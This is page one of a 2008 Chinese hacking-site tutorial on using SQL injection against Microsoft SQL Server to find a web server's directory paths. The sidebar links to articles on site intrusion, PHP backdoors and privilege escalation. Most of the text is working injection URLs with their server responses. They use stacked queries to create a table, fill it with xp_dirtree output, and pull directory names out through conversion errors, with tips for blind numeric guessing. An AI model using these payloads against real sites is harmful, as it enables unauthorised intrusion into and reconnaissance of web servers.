黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]SQL server取得网站路径的几种方法及比较
        ★★★★★

SQL server取得网站路径的几种方法及比较

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-8-6 14:19:45

如果网站只开了80端口,你会发现下面的方法是比较有用的,其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧方法可以说有4种(现在已知的)
  第一种方法:

  这个是<<怪异的SQL注入>>中介绍的方法

  利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)

  建立表

  语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

  返回:正常的信息!说明建表成功!继续!

  (建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用

  语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ’c:\’ --

  返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了)

  语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

  返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

  将 varchar 值 ’@Inetpub’转换为数据类型为 int 的列时发生语法错误。

  再依次爆出表中的目录名称!

  语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( ’@Inetpub’))--

  返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

  将 varchar 值 ’test’转换为数据类型为 int 的列时发生语法错误。

  再依次爆出表中的目录名称!

  好我们继续

  语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( ’@Inetpub’,’test’))--

  返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

  将 varchar 值 ’haha’转换为数据类型为 int 的列时发生语法错误。

  再依次爆出表中的目录名称!

  好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,

  一点技巧:

  有时候你会发现当输入类似

  http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

  时不是显示出错,而是网页显示正常

  晕了吧,别紧张哈

  看看0<>(select top 1 paths from dirs) 说明返回是一个数字,

  哈哈,测试一下看看是多少吧

  100>(select top 1 paths from dirs)

  返回正常

  哈哈,用这种大于小于的方法很快就能猜出了

  好我们继续

  比如当出现

  59=(select top 1 paths from dirs)

  返回正常,

  ok,说明名字是59

  输入如下

  http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( ’59’))--

  记得带上引号哟

  下面的方法就和原来的一样的了

  还有一个问题就是

  有时候用上面的方法输入59时,发现下一次的文件夹还是59

  这个是怎么回事情呢?

  呵呵,不知道你有没有注意过059和59是一样的?

  就是这个原因了,哈哈,

  http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

  dirs where paths not in( ’059’))--

  发现显示下一个文件夹名字了,ok

  优缺点分析:

  优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC,

  缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的.

  而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力.

  祝你成功

[1] [2] [3] 下一页

文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886